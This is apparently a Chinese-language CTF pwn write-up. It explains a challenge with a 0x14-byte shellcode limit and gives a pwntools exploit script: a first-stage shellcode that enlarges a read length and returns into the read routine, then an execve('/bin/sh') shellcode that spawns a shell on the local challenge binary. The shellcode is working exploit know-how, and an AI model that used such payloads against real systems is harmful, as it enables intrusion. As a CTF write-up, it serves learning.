这个题 唯一的难点就是 shellcode 的 只是给了 0x14的大小
本来这个题 不打算发博客 但是有小姐姐看 ~~~ 就写一篇发上来把
然后我们看一下 程序的大概内容
{说一个很沙雕的事情 由于这个程序的特殊性 f5没有办法 看出来 然后 负责人这个b心情又不好
然后我把这个程序的 call eax 搞成nop
f5 一把梭
}
23333 所以 这个题 其实也就是 重点是先 shellcode 把那个参数改的大一些就好了 push ret 一把梭
emmm 感觉 都给注释了 直接看exp把
import sys
from pwn import *
#context.log_level='debug'
#context.arch='amd64'
if len(sys.argv)==1 :
io=process('./pwn_1')
elf=ELF('./pwn_1')
#libc=ELF('')
pay='\xC7\x44\x24\x08\x44\x00\x00\x00'
#mov dword ptr [esp + 8], 0x44
pay+=asm("push 0x0804848E")
pay+=asm("ret")
print len(pay)
gdb.attach(io,'b *0x080484CB')
io.sendline(pay)
io.recv()
pay=asm("push 0xb")
pay+=asm("pop eax")
pay+=asm("cdq")
pay+=asm("push edx")
pay+=asm("sub ebp,8")
pay+=asm("mov ebx,ebp")
pay+=asm("xor ecx,ecx")
pay+=asm("int 0x80")
pay=pay.ljust(0x21,'a')
pay+='/bin/sh\x00'
print len(pay)
io.sendline(pay)
#pause()
io.interactive()